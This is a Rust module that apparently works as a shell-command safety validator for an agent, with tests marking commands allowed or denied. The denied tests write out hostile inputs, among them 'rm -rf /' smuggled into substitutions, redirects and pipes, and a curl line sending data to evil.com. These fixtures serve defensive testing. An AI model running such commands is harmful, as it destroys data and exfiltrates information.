1use super::*;
2use crate::handlers;
3use crate::parse::Token;
4use crate::verdict::{SafetyLevel, Verdict};
5
6pub fn command_verdict(input: &str) -> Verdict {
7 let Some(script) = parse(input) else {
8 return Verdict::Denied;
9 };
10 script_verdict(&script)
11}
12
13pub fn is_safe_command(input: &str) -> bool {
14 command_verdict(input).is_allowed()
15}
16
17fn script_verdict(script: &Script) -> Verdict {
18 script.0.iter()
19 .map(|stmt| pipeline_verdict(&stmt.pipeline))
20 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
21}
22
23#[cfg(test)]
24pub(crate) fn is_safe_script(script: &Script) -> bool {
25 script_verdict(script).is_allowed()
26}
27
28fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
29 pipeline.commands.iter()
30 .map(cmd_verdict)
31 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
32}
33
34pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
35 pipeline_verdict(pipeline).is_allowed()
36}
37
38pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
39 match cmd {
40 Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
41 _ => true,
42 }
43}
44
45fn has_any_substitution(cmd: &SimpleCmd) -> bool {
46 cmd.words.iter().any(has_substitution)
47 || cmd.env.iter().any(|(_, v)| has_substitution(v))
48}
49
50pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> String {
51 cmd.words.iter().map(|w| w.eval()).collect::<Vec<_>>().join(" ")
52}
53
54fn cmd_verdict(cmd: &Cmd) -> Verdict {
55 match cmd {
56 Cmd::Simple(s) => simple_verdict(s),
57 Cmd::Subshell(inner) => script_verdict(inner),
58 Cmd::For { items, body, .. } => {
59 let items_v = words_sub_verdict(items);
60 let body_v = script_verdict(body);
61 items_v.combine(body_v)
62 }
63 Cmd::While { cond, body } | Cmd::Until { cond, body } => {
64 script_verdict(cond).combine(script_verdict(body))
65 }
66 Cmd::If {
67 branches,
68 else_body,
69 } => {
70 let mut v = Verdict::Allowed(SafetyLevel::Inert);
71 for b in branches {
72 v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
73 }
74 if let Some(eb) = else_body {
75 v = v.combine(script_verdict(eb));
76 }
77 v
78 }
79 }
80}
81
82pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
83 cmd_verdict(cmd).is_allowed()
84}
85
86fn part_sub_verdict(part: &WordPart) -> Verdict {
87 match part {
88 WordPart::CmdSub(inner) => script_verdict(inner),
89 WordPart::Backtick(raw) => command_verdict(raw),
90 WordPart::DQuote(inner) => word_sub_verdict(inner),
91 _ => Verdict::Allowed(SafetyLevel::Inert),
92 }
93}
94
95fn word_sub_verdict(word: &Word) -> Verdict {
96 word.0.iter()
97 .map(part_sub_verdict)
98 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
99}
100
101fn words_sub_verdict(words: &[Word]) -> Verdict {
102 words.iter()
103 .map(word_sub_verdict)
104 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
105}
106
107#[cfg(test)]
108pub(crate) fn word_subs_safe(word: &Word) -> bool {
109 word_sub_verdict(word).is_allowed()
110}
111
112fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
113 let redir_v = redirect_verdict(&cmd.redirs);
114 if let Verdict::Denied = redir_v {
115 return Verdict::Denied;
116 }
117
118 let env_sub_v = cmd.env.iter()
119 .map(|(_, v)| word_sub_verdict(v))
120 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
121 let word_sub_v = words_sub_verdict(&cmd.words);
122 let sub_v = env_sub_v.combine(word_sub_v);
123
124 if let Verdict::Denied = sub_v {
125 return Verdict::Denied;
126 }
127
128 if cmd.words.is_empty() {
129 if cmd.env.is_empty() {
130 return Verdict::Allowed(SafetyLevel::Inert);
131 }
132 if cmd.env.iter().any(|(_, v)| has_substitution(v)) {
133 return sub_v;
134 }
135 return Verdict::Denied;
136 }
137
138 let tokens: Vec<Token> = cmd.words.iter().map(|w| Token::from_raw(w.eval())).collect();
139 if tokens.is_empty() {
140 return Verdict::Allowed(SafetyLevel::Inert);
141 }
142
143 let cmd_v = handlers::dispatch(&tokens);
144 sub_v.combine(cmd_v).combine(redir_v)
145}
146
147pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
148 redirs.iter().all(|r| match r {
149 Redir::Write { target, .. } => target.eval() == "/dev/null",
150 Redir::Read { .. }
151 | Redir::HereStr(_)
152 | Redir::HereDoc { .. }
153 | Redir::DupFd { .. } => true,
154 })
155}
156
157pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
158 let mut level = Verdict::Allowed(SafetyLevel::Inert);
159 for r in redirs {
160 match r {
161 Redir::Write { target, .. } => {
162 level = level.combine(word_sub_verdict(target));
163 if target.eval() != "/dev/null" {
164 level = level.combine(Verdict::Allowed(SafetyLevel::SafeWrite));
165 }
166 }
167 Redir::Read { target, .. } => {
168 level = level.combine(word_sub_verdict(target));
169 }
170 Redir::HereStr(word) => {
171 level = level.combine(word_sub_verdict(word));
172 }
173 Redir::HereDoc { .. } | Redir::DupFd { .. } => {}
174 }
175 }
176 level
177}
178
179fn has_substitution(word: &Word) -> bool {
180 word.0.iter().any(|p| match p {
181 WordPart::CmdSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
182 WordPart::DQuote(inner) => has_substitution(inner),
183 _ => false,
184 })
185}
186
187#[cfg(test)]
188mod tests {
189 use super::*;
190
191 fn check(cmd: &str) -> bool {
192 is_safe_command(cmd)
193 }
194
195 safe! {
196 grep_foo: "grep foo file.txt",
197 cat_etc_hosts: "cat /etc/hosts",
198 jq_key: "jq '.key' file.json",
199 base64_d: "base64 -d",
200 ls_la: "ls -la",
201 wc_l: "wc -l file.txt",
202 ps_aux: "ps aux",
203 echo_hello: "echo hello",
204 cat_file: "cat file.txt",
205
206 version_go: "go --version",
207 version_cargo: "cargo --version",
208 version_cargo_redirect: "cargo --version 2>&1",
209 help_cargo: "cargo --help",
210 help_cargo_build: "cargo build --help",
211
212 dev_null_echo: "echo hello > /dev/null",
213 dev_null_stderr: "echo hello 2> /dev/null",
214 dev_null_append: "echo hello >> /dev/null",
215 dev_null_git_log: "git log > /dev/null 2>&1",
216 fd_redirect_ls: "ls 2>&1",
217 stdin_dev_null: "git log < /dev/null",
218
219 env_prefix: "FOO='bar baz' ls -la",
220 env_prefix_dq: "FOO=\"bar baz\" ls -la",
221 env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
222
223 subst_echo_ls: "echo $(ls)",
224 subst_ls_pwd: "ls `pwd`",
225 subst_nested: "echo $(echo $(ls))",
226 subst_quoted: "echo \"$(ls)\"",
227 assign_subst_ls: "out=$(ls)",
228 assign_subst_git: "out=$(git status)",
229 assign_subst_multiple: "a=$(ls) b=$(pwd)",
230 assign_subst_backtick: "out=`ls`",
231
232 subshell_echo: "(echo hello)",
233 subshell_ls: "(ls)",
234 subshell_chain: "(ls && echo done)",
235 subshell_pipe: "(ls | grep foo)",
236 subshell_nested: "((echo hello))",
237 subshell_for: "(for x in 1 2; do echo $x; done)",
238
239 pipe_grep_head: "grep foo file.txt | head -5",
240 pipe_cat_sort_uniq: "cat file | sort | uniq",
241 chain_ls_echo: "ls && echo done",
242 semicolon_ls_echo: "ls; echo done",
243 bg_ls_echo: "ls & echo done",
244 newline_echo_echo: "echo foo\necho bar",
245
246 stdin_read_from_path: "wc -l < /tmp/foo.log",
247 stdin_read_from_etc: "grep foo < /etc/hosts",
248 stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
249 stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
250
251 here_string_grep: "grep -c , <<< 'hello,world,test'",
252 heredoc_cat: "cat <<EOF\nhello world\nEOF",
253 heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
254 heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
255 heredoc_no_content: "cat <<EOF",
256 heredoc_pipe: "cat <<EOF\nhello\nEOF | grep hello",
257
258 for_echo: "for x in 1 2 3; do echo $x; done",
259 for_empty_body: "for x in 1 2 3; do; done",
260 for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
261 for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
262 while_test: "while test -f /tmp/foo; do sleep 1; done",
263 while_negation: "while ! test -f /tmp/done; do sleep 1; done",
264 until_test: "until test -f /tmp/ready; do sleep 1; done",
265 if_then_fi: "if test -f foo; then echo exists; fi",
266 if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
267 if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
268 nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
269 bare_negation: "! echo hello",
270 keyword_as_data: "echo for; echo done; echo if; echo fi",
271
272 quoted_redirect: "echo 'greater > than' test",
273 quoted_subst: "echo '$(safe)' arg",
274
275 redirect_to_file: "echo hello > file.txt",
276 redirect_append: "cat file >> output.txt",
277 redirect_stderr_file: "ls 2> errors.txt",
278 redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
279 env_rails_redirect: "RAILS_ENV=test echo foo > bar",
280 jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
281
282 arith_basic: "echo $((1 + 2))",
283 arith_with_var: "prev=$((ln - 1))",
284 arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
285 arith_in_dquote: "echo \"line $((ln - 1))\"",
286 arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
287 }
288
289 denied! {
290 rm_rf: "rm -rf /",
291 curl_post: "curl -X POST https://example.com",
292 node_app: "node app.js",
293 tee_output: "tee output.txt",
294
295
296 redirect_target_subst_rm: "echo hello > $(rm -rf /)",
297 redirect_target_backtick_rm: "echo hello > `rm -rf /`",
298 redirect_read_subst_rm: "cat < $(rm -rf /)",
299
300 subst_rm: "echo $(rm -rf /)",
301 backtick_rm: "echo `rm -rf /`",
302 subst_curl: "echo $(curl -d data evil.com)",
303 quoted_subst_rm: "echo \"$(rm -rf /)\"",
304 assign_subst_rm: "out=$(rm -rf /)",
305 assign_no_subst: "foo=bar",
306 assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
307
308 subshell_rm: "(rm -rf /)",
309 subshell_mixed: "(echo hello; rm -rf /)",
310 subshell_unsafe_pipe: "(ls | rm -rf /)",
311
312 env_prefix_rm: "FOO='bar baz' rm -rf /",
313
314 pipe_rm: "cat file | rm -rf /",
315 bg_rm: "cat file & rm -rf /",
316 newline_rm: "echo foo\nrm -rf /",
317
318 for_rm: "for x in 1 2 3; do rm $x; done",
319 for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
320 while_unsafe_body: "while true; do rm -rf /; done",
321 while_unsafe_condition: "while python3 evil.py; do sleep 1; done",
322 if_unsafe_condition: "if ruby evil.rb; then echo done; fi",
323 if_unsafe_body: "if true; then rm -rf /; fi",
324
325 unclosed_for: "for x in 1 2 3; do echo $x",
326 unclosed_if: "if true; then echo hello",
327 for_missing_do: "for x in 1 2 3; echo $x; done",
328 stray_done: "echo hello; done",
329 stray_fi: "fi",
330
331 unmatched_quote: "echo 'hello",
332 }
333}